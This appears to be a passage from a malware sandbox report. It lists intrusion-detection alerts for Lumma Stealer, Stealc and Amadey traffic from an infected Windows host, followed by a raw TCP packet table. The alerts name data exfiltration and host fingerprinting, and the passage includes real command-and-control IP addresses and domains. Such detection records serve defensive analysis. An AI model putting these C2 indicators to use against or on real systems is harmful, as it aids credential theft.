2024-12-20T11:12:41.908247+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49853	172.67.197.170	443	TCP
2024-12-20T11:12:42.691324+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49853	172.67.197.170	443	TCP
2024-12-20T11:12:42.691324+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49853	172.67.197.170	443	TCP
2024-12-20T11:12:42.907488+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49846	185.215.113.206	80	TCP
2024-12-20T11:12:43.677881+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49846	185.215.113.206	80	TCP
2024-12-20T11:12:44.714549+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49859	172.67.197.170	443	TCP
2024-12-20T11:12:44.714549+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49859	172.67.197.170	443	TCP
2024-12-20T11:12:45.505369+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49860	185.215.113.43	80	TCP
2024-12-20T11:12:46.904055+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	62931	1.1.1.1	53	UDP
2024-12-20T11:12:46.961281+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49866	185.215.113.16	80	TCP
2024-12-20T11:12:47.047076+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	64184	1.1.1.1	53	UDP
2024-12-20T11:12:47.239410+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49867	172.67.197.170	443	TCP
2024-12-20T11:12:47.239410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49867	172.67.197.170	443	TCP
2024-12-20T11:12:48.408298+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49873	172.67.197.170	443	TCP
2024-12-20T11:12:48.408298+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49873	172.67.197.170	443	TCP
2024-12-20T11:12:49.404910+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49873	172.67.197.170	443	TCP
2024-12-20T11:12:49.404910+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49873	172.67.197.170	443	TCP
2024-12-20T11:12:49.833483+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49878	172.67.197.170	443	TCP
2024-12-20T11:12:49.833483+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49878	172.67.197.170	443	TCP
2024-12-20T11:12:50.714097+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49886	172.67.197.170	443	TCP
2024-12-20T11:12:50.714097+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49886	172.67.197.170	443	TCP
2024-12-20T11:12:51.475538+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49886	172.67.197.170	443	TCP
2024-12-20T11:12:51.475538+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49886	172.67.197.170	443	TCP
2024-12-20T11:12:54.187224+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49896	172.67.197.170	443	TCP
2024-12-20T11:12:54.187224+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49896	172.67.197.170	443	TCP
2024-12-20T11:12:55.276377+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49901	172.67.197.170	443	TCP
2024-12-20T11:12:55.276377+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49901	172.67.197.170	443	TCP
2024-12-20T11:12:56.055183+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49904	185.215.113.43	80	TCP
2024-12-20T11:12:57.517431+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49907	31.41.244.11	80	TCP
2024-12-20T11:12:58.382968+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49914	172.67.197.170	443	TCP
2024-12-20T11:12:58.382968+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49914	172.67.197.170	443	TCP
2024-12-20T11:12:59.065187+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49915	172.67.197.170	443	TCP
2024-12-20T11:12:59.065187+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49915	172.67.197.170	443	TCP
2024-12-20T11:13:00.800064+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49915	172.67.197.170	443	TCP
2024-12-20T11:13:02.058487+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49905	185.215.113.206	80	TCP
2024-12-20T11:13:02.269780+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49929	172.67.197.170	443	TCP
2024-12-20T11:13:02.269780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49929	172.67.197.170	443	TCP
2024-12-20T11:13:02.469524+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49930	172.67.197.170	443	TCP
2024-12-20T11:13:02.469524+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49930	172.67.197.170	443	TCP
2024-12-20T11:13:03.080746+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49931	185.215.113.43	80	TCP
2024-12-20T11:13:04.400290+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49905	185.215.113.206	80	TCP
2024-12-20T11:13:04.681495+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.4	50886	1.1.1.1	53	UDP
2024-12-20T11:13:04.945633+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49940	31.41.244.11	80	TCP
2024-12-20T11:13:06.071795+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49905	185.215.113.206	80	TCP
2024-12-20T11:13:06.245124+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49943	104.21.23.76	443	TCP
2024-12-20T11:13:06.245124+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49943	104.21.23.76	443	TCP
2024-12-20T11:13:06.962783+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49949	172.67.197.170	443	TCP
2024-12-20T11:13:06.962783+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49949	172.67.197.170	443	TCP
2024-12-20T11:13:06.996945+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49943	104.21.23.76	443	TCP
2024-12-20T11:13:06.996945+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49943	104.21.23.76	443	TCP
2024-12-20T11:13:07.589488+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49905	185.215.113.206	80	TCP
2024-12-20T11:13:08.034884+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49949	172.67.197.170	443	TCP
2024-12-20T11:13:08.232404+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49950	104.21.23.76	443	TCP
2024-12-20T11:13:08.232404+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49950	104.21.23.76	443	TCP
2024-12-20T11:13:09.017537+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49950	104.21.23.76	443	TCP
2024-12-20T11:13:09.017537+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49950	104.21.23.76	443	TCP
2024-12-20T11:13:20.812096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49988	172.67.177.88	443	TCP
2024-12-20T11:13:21.240345+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49988	172.67.177.88	443	TCP
2024-12-20T11:13:21.240345+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49988	172.67.177.88	443	TCP
2024-12-20T11:13:22.795886+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49995	172.67.177.88	443	TCP
2024-12-20T11:13:23.595645+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49995	172.67.177.88	443	TCP
2024-12-20T11:13:23.595645+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49995	172.67.177.88	443	TCP
2024-12-20T11:13:31.007409+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50010	172.67.177.88	443	TCP
2024-12-20T11:13:33.543762+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50012	172.67.177.88	443	TCP
2024-12-20T11:13:36.014865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50018	172.67.177.88	443	TCP
2024-12-20T11:13:38.653200+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50024	172.67.177.88	443	TCP
2024-12-20T11:13:45.440403+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50038	172.67.177.88	443	TCP
2024-12-20T11:13:45.452765+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50038	172.67.177.88	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 11:12:04.801409006 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:04.921623945 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:04.922100067 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:04.922202110 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:05.042347908 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:06.270783901 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:06.270849943 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:07.786009073 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:07.786273003 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:07.906351089 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:07.906394958 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:07.906596899 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:07.906691074 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:07.906776905 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:08.026880980 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:09.285809040 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:09.285854101 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:09.285912991 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:09.285912991 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:09.518203974 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:09.518455982 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:09.522460938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:09.641932964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:09.642019987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:09.642141104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:09.761688948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.964943886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965034962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965065956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965082884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965099096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965116024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965132952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965147018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965162992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965182066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:10.965342999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:10.965343952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:10.965343952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:10.965343952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:10.965343952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:10.965343952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.085205078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.085262060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.085305929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.085355997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.089400053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.089456081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.089538097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.089580059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.157073975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.157269955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.157493114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.157583952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.161261082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.161305904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.161324978 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.161350965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.167735100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.167794943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.167818069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.167857885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.176069975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.176127911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.176145077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.176186085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.184561014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.184586048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.184617043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.184628963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.192831039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.192890882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.192898035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.192930937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.201237917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.201262951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.201297045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.201313019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.209719896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.209743977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.209774017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.209786892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.217983961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.218039036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.218061924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.218085051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.226500034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.226525068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.226557970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.226578951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.233561039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.233583927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.233612061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.233623028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.240787029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.240870953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.240957022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.240998030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.277085066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.277158976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.349205971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.349241018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.349263906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.349287987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.351234913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.351279974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.351340055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.351383924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.355792046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.355817080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.355849981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.355865955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.359978914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.360028028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.360085011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.360132933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.364490032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.364537001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.364671946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.364717007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.369230986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.369256020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.369282007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.369302988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.373332024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.373373985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.373383999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.373415947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.377706051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.377756119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.377899885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.377949953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.382240057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.382282972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.382297039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.382323027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.386626959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.386677980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.386795998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.386842012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.390963078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.391007900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.391098022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.391140938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.395525932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.395589113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.395617008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.395668030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.400063992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.400115967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.400115967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.400165081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.404675007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.404727936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.404731035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.404782057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.409044027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.409106970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.409138918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.409185886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.412575006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.412627935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.412631989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.412672997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.415867090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.415926933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.416060925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.416111946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.419555902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.419608116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.419612885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.419660091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.423031092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.423084021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.423086882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.423134089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.426453114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.426503897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.426506042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.426548958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.430073977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.430129051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.430134058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.430176973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.433583975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.433648109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.541301966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.541363955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.541400909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.541467905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.542670012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.542725086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.542860031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.545308113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.545368910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.546209097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.546266079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.546282053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.546336889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.548949957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.549002886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.549032927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.549081087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.551713943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.551769018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.551773071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.551836967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.554389000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.554455042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.554593086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.554644108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.556968927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.557020903 CET	49768	80	192.168.2.4	31.41.244.11
